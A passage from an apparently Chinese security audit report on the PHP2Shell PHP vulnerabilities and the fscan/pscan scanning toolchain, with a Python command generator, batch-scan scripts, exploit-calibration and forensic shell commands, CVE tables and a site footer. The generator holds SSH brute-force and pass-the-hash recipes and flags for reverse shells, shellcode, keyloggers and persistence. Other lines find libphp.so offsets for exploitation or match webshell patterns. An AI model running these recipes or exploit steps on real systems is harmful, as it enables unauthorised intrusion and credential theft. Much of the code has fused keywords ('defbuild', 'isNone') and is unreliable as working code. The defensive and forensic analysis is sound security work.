    \"maxRedirect\": {\"fs\": \"-max-redirect\",\"ps\":\"-max-redirect\",\"cat\":\"L4\",\"type\":\"value\"},
    \"pocName\":     {\"fs\": \"-pocname\",\"ps\":\"-pocname\",\"cat\":\"L4\",\"type\":\"value\"},
    \"pocPath\":     {\"fs\": \"-pocpath\",\"ps\":\"-pocpath\",\"cat\":\"L4\",\"type\":\"value\"},
    \"dns\":         {\"fs\": \"-dns\",\"ps\": \"-dns\",  \"cat\": \"L4\", \"type\": \"flag\"},
    \"redisFile\":   {\"fs\": \"-rf\", \"ps\": \"-rf\",  \"cat\": \"L5\", \"type\": \"value\"},
    \"redisShell\":  {\"fs\": \"-rs\", \"ps\": \"-rs\",  \"cat\": \"L5\", \"type\": \"value\"},
    \"redisWP\":     {\"fs\": \"-rwp\",\"ps\": \"-rwp\", \"cat\": \"L5\", \"type\": \"value\"},
    \"redisWC\":     {\"fs\": \"-rwc\",\"ps\": \"-rwc\", \"cat\": \"L5\", \"type\": \"value\"},
    \"redisWF\":     {\"fs\": \"-rwf\",\"ps\": \"-rwf\", \"cat\": \"L5\", \"type\": \"value\"},
    \"shellcode\":   {\"fs\": \"-sc\", \"ps\": \"-sc\",  \"cat\": \"L5\", \"type\": \"value\"},
    \"revShell\":    {\"fs\": \"-rsh\",\"ps\": \"-rsh\", \"cat\": \"L5\", \"type\": \"value\"},
    \"fshPort\":     {\"fs\": \"-fsh-port\",\"ps\":\"-fsh-port\",\"cat\":\"L5\",\"type\":\"value\"},
    \"localPlugin\": {\"fs\": \"-local\",\"ps\":\"-local\",\"cat\":\"L5\",\"type\":\"value\"},
    \"persistFile\": {\"fs\": \"-persistence-file\",\"ps\":\"-persistence-file\",\"cat\":\"L5\",\"type\":\"value\"},
    \"winPE\":       {\"fs\": \"-win-pe\",\"ps\":\"-win-pe\",\"cat\":\"L5\",\"type\":\"value\"},
    \"dlUrl\":       {\"fs\": \"-download-url\",\"ps\":\"-download-url\",\"cat\":\"L5\",\"type\":\"value\"},
    \"dlPath\":      {\"fs\": \"-download-path\",\"ps\":\"-download-path\",\"cat\":\"L5\",\"type\":\"value\"},
    \"keylogOut\":   {\"fs\": \"-keylog-output\",\"ps\":\"-keylog-output\",\"cat\":\"L5\",\"type\":\"value\"},
    \"startSocks5\": {\"fs\": \"-start-socks5\",\"ps\":\"-start-socks5\",\"cat\":\"L5\",\"type\":\"value\"},
    \"proxy\":       {\"fs\": \"-proxy\",\"ps\":\"-proxy\",\"cat\":\"L6\",\"type\":\" \"},
    \"socks5\":      {\"fs\": \"-socks5\",\"ps\":\"-socks5\",\"cat\":\"L6\",\"type\": \"value\"},
    \"iface\":       {\"fs\": \"-iface\",\"ps\":\"-iface\",\"cat\":\"L6\",\"type\": \"value\"},
    \"outputFile\":  {\"fs\": \"-o\",  \"ps\": \"-out\",\"cat\": \"L7\",\"type\": \"value\"},
    \"outputFormat\":{\"fs\": \"-f\",  \"ps\": \"-fmt\",\"cat\": \"L7\",\"type\": \"value\"},
    \"noSave\":      {\"fs\": \"-no\", \"ps\": \"-no\",  \"cat\": \"L7\", \"type\": \"flag\"},
    \"silent\":      {\"fs\": \"-silent\",\"ps\":\"-silent\",\"cat\":\"L7\",\"type\":\"flag\"},
    \"noColor\":     {\"fs\": \"-nocolor\",\"ps\":\"-nocolor\",\"cat\":\"L7\",\"type\":\"flag\"},
    \"noProgress\":  {\"fs\": \"-nopg\",\"ps\":\"-nopg\",\"cat\":\"L7\",\"type\":\" \"},
    \"debug\":       {\"fs\": \"-debug\",\"ps\":\"-debug\",\"cat\":\"L7\",\"type\":\"flag\"},
    \"perf\":        {\"fs\": \"-perf\",\"ps\":\"-perf\",\"cat\":\"L7\",\"type\": \"flag\"},
    \"log\":         {\"fs\": \"-log\",\"ps\": \"-log\", \"cat\": \"L7\", \"type\": \"value\"},
    \"lang\":        {\"fs\": \"-lang\",\"ps\":\"-lang\",\"cat\":\"L7\",\"type\": \"value\"},
}

# 输出顺序 = 语义分层顺序
ORDER = [\"L0\",\"L1\",\"L2\",\"L3\",\"L4\",\"L5\",\"L6\",\"L7\"]

defbuild(params: dict, tool: str = \"fscan\", exe: str = \"fscan.exe\") -> str:
    \"\"\"把逻辑参数字典编译成命令行。tool='fscan'|'pscan'\"\"\"
    parts = [exe]
    for layer in ORDER:
        for pid, spec in PARAMS.items():
            if spec[\"cat\"] != layer:
                continue
            val = params.get(pid)
            if val in (None, \"\", False):
                continue
            flag = spec[\"ps\"] if tool == \"pscan\"else spec[\"fs\"]
            if flag isNone:          # 该工具不支持此参数
                continue
            if spec[\"type\"] == \"flag\":
                parts.append(flag)
            else:
                parts.append(f\"{flag} {val}\")
    return\" \".join(parts)

# ── 配方库:每个配方就是一个可复用的参数模块集合 ──
RECIPES = {
    \"silent_recon\": {
        \"target\": \"192.168.1.0/24\", \"skipPing\": True, \"rate\": 300, \"timeout\": 5,
        \"noBrute\": True, \"noPOC\": True, \"noSave\": True, \"silent\": True, \"noColor\": True,
    },
    \"alive_only\": {
        \"target\": \"192.168.1.0/24\", \"aliveOnly\": True, \"noSave\": True, \"silent\": True,
    },
    \"ssh_brute\": {
        \"target\": \"10.0.0.0/16\", \"ports\": \"22\", \"username\": \"root\",
        \"userFile\": \"users.txt\", \"passFile\": \"pass.txt\", \"noPOC\": True,
        \"outputFile\": \"ssh_hits.txt\", \"outputFormat\": \"json\",
    },
    \"pth_smb\": {
        \"target\": \"10.0.0.0/24\", \"ntlmHash\": \"hashes.txt\", \"noPOC\": True,
        \"outputFile\": \"pth.json\", \"outputFormat\": \"json\",
    },
    \"web_poc\": {
        \"urlTarget\": \"http://192.168.1.100\", \"fullPOC\": True,
        \"pocConcurrency\": 50, \"dns\": True, \"timeout\": 10,
    },
}

defrender(recipe_name: str, tool=\"fscan\", exe=\"fscan.exe\", overrides=None):
    p = dict(RECIPES[recipe_name])
    if overrides:
        p.update(overrides)
    return build(p, tool=tool, exe=exe)

if __name__ == \"__main__\":
    tool = sys.argv[1] iflen(sys.argv) > 1else\"fscan\"
    name = sys.argv[2] iflen(sys.argv) > 2else\"silent_recon\"
    exe = \"pscan.exe\"if tool == \"pscan\"else\"fscan.exe\"
    print(render(name, tool=tool, exe=exe))

这段代码的价值:参数表是纯数据,配方是可命名的参数集合,工具切换只是换一个查表分支。加一个新配方不改任何逻辑;把 fscan 换成 pscan 只改一个字符串。


3.5 动态注入与批量

3.5.1 参数从外部注入

import os, json
from fscan_recipe import render, build

# 1) 从环境变量注入(CI / 调度系统)
params = {
    \"target\":      os.environ[\"TARGET_CIDR\"],
    \"rate\":        int(os.environ.get(\"RATE\", \"300\")),
    \"userFile\":    os.environ[\"USERDICT\"],
    \"passFile\":    os.environ[\"PASSDICT\"],
    \"outputFile\":  os.environ[\"OUT\"],
    \"outputFormat\":\"json\",
}
cmd = build(params, tool=\"fscan\", exe=\"fscan.exe\")
print(cmd)

3.5.2 目标从文件批量读,参数逐目标覆盖

import json, pathlib, subprocess, sys

defscan_many(targets_file, base_params, tool=\"fscan\", exe=\"fscan.exe\", parallel=4):
    from concurrent.futures import ThreadPoolExecutor
    from fscan_recipe import build

    targets = [l.strip() for l inopen(targets_file) if l.strip() andnot l.startswith(\"#\")]
    results = []

    defone(t):
        p = dict(base_params); p[\"target\"] = t
        cmd = build(p, tool=tool, exe=exe)
        r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=1800)
        return {\"target\": t, \"rc\": r.returncode, \"out\": r.stdout[-4000:]}

    with ThreadPoolExecutor(max_workers=parallel) as ex:
        for res in ex.map(one, targets):
            results.append(res)
            print(f\"[{res['rc']}] {res['target']}\", file=sys.stderr)
    return results

if __name__ == \"__main__\":
    res = scan_many(\"targets.txt\",
                    {\"rate\": 200, \"noBrute\": True, \"noPOC\": True,
                     \"outputFormat\": \"json\", \"outputFile\": \"out.json\"})
    pathlib.Path(\"scan_summary.json\").write_text(json.dumps(res, ensure_ascii=False, indent=2))

3.5.3 参数值从 CSV 注入(表格驱动的批量测试)

import csv, json
from fscan_recipe import build

# cases.csv:  name,target,ports,mode,user,password
withopen(\"cases.csv\", newline=\"\", encoding=\"utf-8-sig\") as f:
    for row in csv.DictReader(f):
        params = {
            \"target\":  row[\"target\"],
            \"ports\":   row[\"ports\"] orNone,
            \"username\":row[\"user\"] orNone,
            \"password\":row[\"password\"] orNone,
            \"noPOC\":   True,
            \"outputFormat\": \"json\",
            \"outputFile\": f\"result_{row['name']}.json\",
        }
        cmd = build(params, tool=\"fscan\", exe=\"fscan.exe\")
        print(f\"# {row['name']}\
{cmd}\
\")

3.5.4 从上一步结果反哺下一步(流水线)

import json, glob
from fscan_recipe import build

# 阶段1产出 → 阶段2输入
withopen(\"alive.json\", encoding=\"utf-8\") as f:
    alive = json.load(f)

hosts = [h ifisinstance(h, str) else h.get(\"ip\") or h.get(\"host\")
         for h in (alive.get(\"hosts\") or alive.get(\"alive\") or [])]
withopen(\"alive.txt\", \"w\", encoding=\"utf-8\") as f:
    f.write(\"\
\".join(hosts))

# 阶段2:只扫存活机的 SSH
cmd = build({\"hostFile\": \"alive.txt\", \"ports\": \"22\", \"username\": \"root\",
             \"userFile\": \"users.txt\", \"passFile\": \"pass.txt\",
             \"outputFile\": \"ssh.json\", \"outputFormat\": \"json\"},
            tool=\"fscan\", exe=\"fscan.exe\")
print(cmd)

3.5.5 工具自动切换(同一参数集跑两种工具)

from fscan_recipe import build

params = {\"target\": \"192.168.1.0/24\", \"rate\": 300, \"noBrute\": True, \"noPOC\": True}
print(build(params, tool=\"fscan\", exe=\"fscan.exe\"))
print(build(params, tool=\"pscan\", exe=\"pscan.exe\"))
# fscan.exe -h 192.168.1.0/24 -rate 300 -nobr -nopoc
# pscan.exe -t 192.168.1.0/24 -rate 300 -nobr -nopoc

这就是命令生成器的价值在自动化场景下的体现:手写两遍参数名,就会在 -hf(主机文件 vs 哈希文件)、-pf(端口文件 vs 密码字典)上写错一次,而写错的结果是静默的——fscan 不会报错,只会扫出别的东西。


3.6 冷门但准确的命令语法

这一节挑的都是准确无误但不常用的,写在具体场景后面。

PHP2Shell 相关的诊断

# 确认 ASLR 状态:0=关闭 1=部分 2=完全
cat /proc/sys/kernel/randomize_va_space

# 以关闭 ASLR 启动(personality ADDR_NO_RANDOMIZE)—— 仅限隔离实验环境
setarch $(uname -m) -R /usr/local/php/bin/php -v

# 读进程的内存映射(ASLR 基址就在这里)
cat /proc/$(pgrep -f 'php-fpm'|head -1)/maps

# 查 libphp.so 里的符号偏移 —— 堆利用标定的第一手材料
nm -D /usr/lib/apache2/modules/libphp.so | grep -w system
readelf -sW /usr/lib/apache2/modules/libphp.so | grep zif_system
objdump -T /usr/lib/apache2/modules/libphp.so | grep -w system

# GDB 里直接取地址(非 stripped 构建)
gdb -batch -ex 'p &zif_system' /usr/lib/apache2/modules/libphp.so

# 进程被谁调试(反取证)
grep -E 'TracerPid|Threads' /proc/$(pgrep -n php-fpm)/status

# 读取进程环境变量
tr'\\0''\
' < /proc/$(pgrep -n php-fpm)/environ

# 进程打开的文件和 socket
ls -l /proc/$(pgrep -n php-fpm)/fd | grep -E 'socket|sess_'

# 进程网络连接
ss -tnp | grep \"pid=$(pgrep -n php-fpm),\"

# 进入目标进程的命名空间(应急取证)
nsenter -t $(pgrep -n php-fpm) -n -m

PHP 配置与运行时

# 只看某一项 INI 的生效值
php -r 'echo ini_get(\"session.upload_progress.enabled\"), PHP_EOL;'

# 运行时覆盖(仅用于一次性测试,生产必须走 php.ini / php_admin_value)
php -d session.upload_progress.enabled=0 -d memory_limit=-1 -r 'echo ini_get(\"memory_limit\");'

# FPM 配置检查并转储(不改文件就能看最终生效配置)
php-fpm -tt

# FPM master 与 worker 的 pid 目录
ls /run/php* /var/run/php* 2>/dev/null

# 优雅重载 FPM(SIGUSR2 = 滚动重启 worker,master 不退出)
kill -USR2 $(cat /run/php8.2-fpm.pid)

# 找出会话文件在哪
php -r 'echo session_save_path() ?: ini_get(\"session.save_path\"), PHP_EOL;'

# 查 session 序列化 handler(影响 CVE-2026-115560 是否可达)
php -r 'echo ini_get(\"session.serialize_handler\"), PHP_EOL;'

# 列出所有被显式设置过的 INI(排查早期诊断触发器)
php -i | grep -E '^(auto_detect_line_endings|filter\\.default|assert\\.|report_memleaks|intl\\.error_level|mbstring\\.|iconv\\.|zend\\.assertions|date\\.timezone)'

# 运行时哪些 INI 被改过(哪些是 deprecated / 非法)
php -i | grep -i deprecated

排查与取证

# 日志里的关键特征
grep -rE 'Allowed memory size of .* exhausted' /var/log/php* /var/log/nginx /var/log/httpd 2>/dev/null
grep -rE 'exhausted in Unknown on line 0' /var/log/php* 2>/dev/null   # ← 应用代码之前触发
grep -rE 'zend_mm_heap corrupted|Maximum execution time of .* exceeded' /var/log/php* 2>/dev/null
grep -rE 'Session ID is too long|Failed to read session data' /var/log/php* 2>/dev/null

# 同一客户端的 5xx 突增(按 IP 聚合)
awk '$9>=500 {print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# 找超大 multipart 请求(nginx 侧)
awk 'length($0)>10000 {print $1, $7, length($0)}' /var/log/nginx/access.log | head

# 找可疑的 PHPSESSID(地址泄漏链的指纹:异常长 / 含不可打印字符)
grep -oE 'PHPSESSID=[^;]+' /var/log/nginx/access.log | awk 'length($0)>80' | head

# systemd 服务日志按时间窗
journalctl -u 'php*-fpm' --since \"2026-10-20\" --until\"2026-10-23\" --no-pager | grep -iE 'oom|segmentation|abort'

# 容器镜像里的 PHP 实际版本(多阶段构建常被误导)
docker run --rm <image> php -v
docker history <image> --no-trunc | grep -iE 'php|apt|apk'

# 找出所有跑了 PHP 的容器
docker ps -q | xargs -I{} docker exec {} sh -c 'php -v 2>/dev/null | head -1' 2>/dev/null | sort -u

网络与协议

# 指定 Host 头直连后端(绕过 DNS)
curl --resolve internal.corp:443:10.0.0.5 https://internal.corp/

# SNI 正确的 TLS 握手(看证书链,排查 eMudhra 类 CA 问题)
openssl s_client -connect 10.0.0.5:443 -servername internal.corp </dev/null 2>/dev/null | openssl x509 -noout -issuer -dates

# 抓 multipart 请求体(PHP2Shell 排查的关键,access log 里没有)
tcpdump -A -s0 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354' -w /tmp/cap.pcap

# 查某个端口是谁在监听(比 netstat 简洁)
ss -lntup | grep -E ':6379|:3306|:27017'
lsof -i -P -n | grep LISTEN | head -30

杂项

# 递归找最近改动的 PHP 文件(WebShell 排查)
find /var/www -type f -name '*.php' -newermt '2026-10-20' -ls 2>/dev/null

# 在 session 目录里搜 WebShell 特征
grep -rlE 'PWNED::|system\\(\\$_GET|assert\\(\\$_POST' /var/lib/php/sessions /tmp 2>/dev/null

# 检查 crontab 与 systemd timer(持久化排查)
crontab -l; ls -la /etc/cron.*/ ; systemctl list-timers --all --no-pager

# 检查 SSH 授权密钥
find /root /home -name authorized_keys -exec sh -c 'echo \"== $1\"; cat \"$1\"' _ {} \\; 2>/dev/null

# 进程树(看有没有异常子进程)
ps -eo user,pid,ppid,etimes,cmd --sort=-etimes | grep -Ei 'www-data|nginx|apache|php-fpm' | head -30

第四部分 · AI 辅助设计方案

4.1 头脑风暴:给这套工具链做什么

下面每个方案都标了实现成本和能解决的具体问题,按性价比排序。

方案 1:把 PARAMS 表抽成外部 JSON(成本最低,收益最高)

问题:现在改一个参数要改 HTML 里的一行 PARAMS,改完还得记住刷新页面。

做法:PARAMS 改为从 params.json 加载(fetch() + file:// 协议限制 → 改用 <input type=file> 手动加载,或提供\"导出/导入参数表\"按钮)。附一份 params.csv 方便非技术人员维护。

收益:参数表变成可版本化的数据资产;可以直接对比 fscan 上游新版本的参数变化;社区可以贡献参数映射 PR。

实现成本:低(半天)。风险:fetch 在 file:// 下被 CORS 拦,需要用 FileReader 的 input 方案绕开。

方案 2:实现规范里没做的两个联动(S2 + S3)

问题:选 -m ssh 时仍显示 11 个凭据字段;-noredis 和\"Redis 字段按模式显示\"互相打架。

做法:给 PARAMS 加 showFor: {mode: ['ssh','mysql'], port: [22,3306]} 之类的条件表达式,在 vis() 里求值。

收益:表单噪声大幅下降,用户只看到当前模式下真正可用的参数。这直接对应 vis() 里那个越来越长的硬编码白名单——把它从代码搬进数据。

实现成本:中(1–2 天)。收益/成本比最高的一条。

方案 3:命令配方导出 / 导入(对接本报告 §3.4)

问题:预设只存在 localStorage,换机器就没了,也无法进版本控制。

做法:在\"保存配置\"旁加\"导出配方 JSON\"和\"导入配方 JSON\",格式与 §3.4 的 RECIPES 结构一致。

收益:配方变成团队可共享的资产;CI 里可以引用同一个配方文件;把 GUI 和脚本统一到同一份数据模型上。

实现成本:低(半天)。

方案 4:-hf 冲突的显式检测与警告(做实 README 的承诺)

问题:README 承诺\"同名冲突醒目警告\",实现只有参数名徽标。

做法:构建期做一次冲突扫描——遍历 PARAMS,找出在 fscan 和 pscan 中同名但语义不同的参数对,生成一张常驻的\"已知冲突\"提示条。同时在生成命令前做一次\"当前工具 + 用户手改过的命令\"的一致性校验。

收益:把一个静默的坑变成显式的提示。对使用者是直接的价值。

实现成本:低(半天)。关键是那张冲突表要人工标注语义——因为同一个 flag 名在不同工具里含义不同,这是数据问题,代码查不出来。

方案 5:修 D1(文件路径丢失)

做法:pickF 拿到的是浏览器的假路径(只有文件名)。改为:提供\"当前工作目录\"输入框 + 相对路径拼接;或者在选中文件后弹窗提示\"请复制完整路径并粘贴到输入框\"。同时给 file 类型字段加一个醒目的\"路径可能不完整\"图标。

收益:消除实战中最容易白跑一次的坑。

实现成本:低(半天)。如果只能改一处,改这个。

方案 6:报告生成器的风险定级升级

问题:D8——纯关键字定级,系统性低估风险。

做法:

    1. 允许在报告里手工覆写某条漏洞的等级(存进 localStorage 或报告元数据);
    1. 定级时把匹配到的关键词显示出来(\"RCE\"、\"未授权访问\"),让人能复核;
    1. 加一个\"待确认\"档:命中关键词但缺关键上下文时不直接定级,列入待复核清单。

收益:报告从\"自动生成的格式文件\"变成\"辅助判断的工具\"。对交付客户的专业报告,可信度是硬需求。

实现成本:中(1 天)。

方案 7:与 PHP2Shell 资产核查联动

问题:PHP2Shell 之后,批量核查\"哪些主机跑了脆弱 PHP\"是刚需。

做法:在命令生成器里加一个\"PHP 资产核查\"预设组(-m web + -p 80,8080,8000,9000 + -nobr + -nopoc),并配套一个把 fscan Web 结果转成 PHP 版本核查表的脚本。

收益:和当下的实际需求接上,且能复用现有的 RECIPES 数据模型。

实现成本:低(半天)。

方案 8:多版本对比(用 fscan 自身的版本差异做切入点)

问题:fscan v2.1.3-rc(pscan 的基线)与 v2.2.0(fscan 当前版)之间参数有变化。

做法:维护一张版本差异表(v2.1.3 → v2.2.0 的参数增删改),在生成命令时提示\"你正在用旧版 pscan,该参数在新版中已改名为 X\"。

收益:这是真正需要 AI 辅助的部分——从两个版本的 --help 输出里做语义对齐,判断哪些是重命名、哪些是新增、哪些是删除。手工做很累且容易漏。

实现成本:AI 辅助中(对比部分可半自动,人工复核)。


4.2 多版本对比

维度 fscan v2.1.3-rc fscan v2.2.0 pscan(基于 v2.1.3-rc)
参数总数 ~74 74 24 组重命名 + 3 个缺失
Banner ASCII Logo + 版本 ASCII Logo + 版本 静默
调试日志名 fscan_debug.log fscan_debug.log tsk_debug.log
Go 模块路径 github.com/shadow1ng/fscan 同左 test
-hf 语义 主机文件 主机文件 哈希文件
-pf 语义 端口文件 端口文件 密码字典
-t 语义 端口扫描线程 同左 目标主机
-u 语义 目标 URL 同左 目标 URL (-url)
-ua 自定义 UA 支持 支持 不支持
-nsp 跳过网段预筛 支持 支持 不支持
-out / -fmt — -o / -f 改名
输出格式 txt/json/csv 同左 同左
爆破服务数 28 28 同左
本地插件 21 21 同左
fscan-web — 有(-port / -lang) —

版本对比给出的三个判断:

  1. 1. pscan 基于 v2.1.3-rc,比 fscan 当前版落后一个小版本。fscan v2.2.0 是 2026-07-10 的构建,pscan 的基线是 v2.1.3-rc。pscan 缺失的功能(-ua、-nsp)在 fscan 侧是有的——这意味着红队场景下 pscan 的能力上限低于 fscan,尤其是\"自定义 UA\"这一项,在需要绕过 WAF 指纹的场景下影响直接。
  2. 2. 参数重命名只覆盖了\"容易被检测的显眼参数\"。-cookie、-local、-proxy、-socks5、-dns、-rsh 等全部保持原样。这说明混淆是针对\"命令行一眼能认出是 fscan\"的粗粒度特征,不是系统性对抗。 防守侧如果只匹配 -h/-m/-user 会被绕过,但只要还匹配 -local、-rsh 这类未混淆的高价值参数,就仍能抓到。
  3. 3. 三个同名冲突(-hf/-pf/-t)正是版本差异的代价。fscan 升级不改变 flag 语义,pscan 重命名必然制造冲突——这不是 bug,是混淆策略的固有成本。命令生成器的价值就在于把这个成本从人转移到表。

第五部分 · 漏洞类型分类与工具方法

5.1 本次事件涉及的漏洞类型

类型 CWE 在本次事件中的体现
异常条件处理不当 CWE-755 longjmp() 跳过清理 → 根因类别
释放后重用 CWE-416 109619 的核心;也是 109618 的最终形态
未初始化指针访问 CWE-824 半初始化 request memory 被 shutdown 读取
资源初始化不正确 CWE-1419 PS(id) / PS(http_session_vars) 未复位
顺序分配未受控 CWE-1325 桶计数递增与分配失败的序错
内存耗尽 CWE-400 三条内存放大路径(DoS 面,补丁后仍在)
状态未清理 CWE-459 worker 全局跨请求存活
序列化/反序列化 CWE-502 __PHP_Incomplete_Class 的引入正是为了堵这个

分类上的一个观察:这两个 CVE 表面上分属\"内存管理\"和\"错误处理\",实际是同一个生命周期错配的两个投影——请求内存的生命周期短于 worker 全局状态的生命周期,而代码假设了两者同步。修复也只能一起做,这解释了为什么一个提交同时改 389 个文件。

5.2 工具与方法推荐

资产发现与版本核查

工具 用途 备注
fscan 内网存活 + 端口 + 服务 + Web 指纹 配合 -nobr -nopoc 做纯测绘
fscan-web 浏览器界面操作,不记参数 本地监听回环地址
EZ(绿盟) 自动化渗透,支持 PHP 指纹 + 该漏洞 PoC 检测 需要 M-SEC 社区证书
长亭云图 / 洞鉴 / 雷池 / 全悉 各自已发布该漏洞的 PoC 检测或利用行为规则 商业侧覆盖情况见 §附录
RSAS / WVSS(绿盟) 远程安全评估系统扫描能力 需升级插件包

漏洞原理与利用研究

资源 用途
GHSA-w8hw-w9fx-j79w / GHSA-6wmf-4rv5-p3rp 根因、SAPI 差异矩阵、缓解措施的权威出处
php-src 3584a98 的 .patch 最好的漏洞说明书 ,389 文件 + 全部回归测试用例
tests/basic/oom_rfc1867_*.phpt 内存放大路径的精确量化(放大系数、窗口大小)
php.net 归档 2026 版本与风险口径的官方表述
CISA KEV JSON feed 直接下载解析,不要信二手汇总

内存与利用研究(本报告 §1.1 的工具链)

场景 命令
确认 ASLR cat /proc/sys/kernel/randomize_va_space
隔离环境关闭 ASLR setarch $(uname -m) -R <cmd>
读堆布局 cat /proc/<pid>/maps
符号偏移 nm -D libphp.so / readelf -sW libphp.so / objdump -T
GDB 取地址 gdb -batch -ex 'p &zif_system' libphp.so
崩溃取证 gcore <pid> + gdb -p <pid> -batch -ex 'info proc mappings'

检测与响应

环节 手段
主机侧 zend_mm_heap corrupted 、exhausted in Unknown on line 0、worker 异常退出、异常长 PHPSESSID
网络侧 请求体日志(默认 access log 没有,必须专门开)、WAF/IPS 规则
容器侧 镜像 digest + 构建时间 + 包 changelog,不看 php -v
取证 /proc/<pid>/maps 、environ、fd、网络连接、容器层快照
凭据 轮换 worker 可读的全部凭据,不只数据库口令

附录

A. 信源与核验状态

已直读原文(一手)

内容 来源 方式
CVE-2026-109618 完整公告(根因、OOM 策略、SAPI 矩阵、修复、可靠性) api.github.com/repos/php/php-src/security-advisories/GHSA-w8hw-w9fx-j79w 完整 JSON 已读
CVE-2026-109619 完整公告(producer/consumer、消费者可达性、生命周期清单、审计指引) .../GHSA-6wmf-4rv5-p3rp 完整 JSON 已读
补丁提交本体(提交说明、389 文件清单、全部 oom_rfc1867_* 测试用例) github.com/php/php-src/commit/3584a98...patch .patch 已读(中间截断,文件清单与测试用例已全量获取)
四个修复版本与 10-23 新公告 php.net/archive/2026.php 全文已读
CISA KEV 状态 cisa.gov/.../known_exploited_vulnerabilities.json 下载解析:catalogVersion 2026.10.21,1754 条,两个 CVE 均未收录

来自用户提供的材料

  • • BleepingComputer 预警(附件 1、2,内容重复已去重)
  • • VulnCheck 技术分析(附件 3)
  • • 新加坡 CSA 警报 + 搜索结果列表(消息正文)
  • • 长亭应急响应中心通告(PHP 远程代码执行漏洞风险提示,2026-10-23):已在 WordPress、MediaWiki、Roundcube、phpMyAdmin 上完成未授权 RCE 验证;影响版本列 PHP 5.4.0–8.2.34 / 8.3.0–8.3.35 / 8.4.0–8.4.26 / 8.5.0–8.5.11
  • • 绿盟科技 CERT 处置手册(NS-2026-0025-2,2026-10-23):明确\"目前已知实现 RCE 需满足:同 worker、精确的堆布局、libphp.so 偏移、地址泄漏\"
  • • 《PHP2SHELL:真正的核弹还是虚假的\"核弹\"》:提供了补丁 commit 3584a98、NVD 3.1 评分 9.8、Wiz 披露、NCSC-NL 仓库、oss-security 公告地址
  • • 《PHP远程命令执行漏洞刷屏:看似核弹,实则跳蛋?》:提供了完整的利用条件表、堆喷常数、析构链、三阶段请求构造
  • • 《PHP的前世今生:AI攻城掠地下,互联网还能回到从前吗?》:PHP 三十年时间线、W3Techs/TIOBE/Imperva/Stack Overflow 数据
  • • 差评X.PIN《印度程序员的骚操作》:eMudhra CA 私钥事件与 PHP2Shell 的同期叠加

尚未独立验证的事项

事项 状态
zif_system = 0x45a3b0 (Bookworm)/ 0x465370(Trixie)等具体偏移 来自国内技术博客的实测值,未在本地复现标定
堆喷常数 841 / 406 / +0x690d8 同上
php_url_encode(PS(id)) 越界读作为地址泄漏通道 机制层面与官方测试用例一致(oom_rfc1867_upload_progress 证实 upload progress 会在 handler 内触发软限制),但具体泄漏原语未实测
NVD CVSS 3.1 = 9.8 来自国内博客引用的 NVD API 返回,本次未直连 NVD API 复核
Wiz 披露原文、OpenAI 五阶段 playbook、WSJ 报道细节 均为检索结果转述,未打开原文
fscan 名称的官方字面释义 工具包与仓库均未给出,报告中的\"fast scan\"读法标注为社区通行解读
fscan v2.1.3-rc 与 v2.2.0 的完整参数差异 依据手册与 pscan 手册整理,未逐条 diff 上游 --help


PHP2Shell不是核弹,也不是玩具:把利用链拆成两段就看懂了" 网络安全文章

PHP2Shell不是核弹,也不是玩具:把利用链拆成两段就看懂了"

文档对PHP2Shell漏洞(CVE-2026-109618等)与fscan工具链进行深度审计。核心结论:漏洞触发层通用但RCE层不通用,利用难度在于堆布局、符号偏移等物理约束而非漏洞本身;官方补丁是最佳漏洞说明书;fscan工具链设计为参数数据库,审计发现7处实现缺陷。建议优先升级PHP并同步WAF规则,关注跨构建通用内存泄露原语等关键指标。
Node.js双高危漏洞预警:CVE-2026-105482|CVE-2026-105481" 网络安全文章

Node.js双高危漏洞预警:CVE-2026-105482|CVE-2026-105481"

Node.js官方于2026年10月21日发布安全更新,修复10个漏洞,其中CVE-2026-105482为DNS解析NUL字符截断高危漏洞,可绕过域名白名单实现SSRF等攻击;CVE-2026-105481为HTTPKeep-Alive响应处理中危漏洞,可能导致响应注入。影响22.x、24.x、26.x全系列,建议升级至22.23.4、24.22.1、26.12.1,并采取过滤NUL字符、使用反向代理等临时缓解措施。
【开源报告】美国国务院2026年度对外援助项目清单深度解析与中国的应对" 网络安全文章

【开源报告】美国国务院2026年度对外援助项目清单深度解析与中国的应对"

美国国务院2026年度对外援助项目清单显示,援助性质从发展援助转向国家安全投资,总量收缩,结构重构,对华竞争‘去名化’,通过关键矿产供应链、政府债务、基础设施融资、网络安全等领域展开竞争。中国应坚持高质量共建‘一带一路’,在债务透明度、矿产本地加工、海外利益保护等方面主动设置议程。
南京大学|SPAR:用对抗式LLM交互从RFC中萃取精确的网络协议格式规范" 网络安全文章

南京大学|SPAR:用对抗式LLM交互从RFC中萃取精确的网络协议格式规范"

南京大学提出spar方法,通过对抗式LLM交互从RFC自动生成精确的网络协议格式规范,重点解决跨字段语义约束的提取难题。实验表明spar在跨字段约束上平均召回98%,远超基线(parcleanse23%、chatafl2%),并利用生成规范审计frrouting与holo发现24个0-day漏洞,均获开发者确认。该方法通过双向对抗循环精化格式与解析器,有效抑制幻觉,提升协议安全审计效率。
评论:0   参与:  0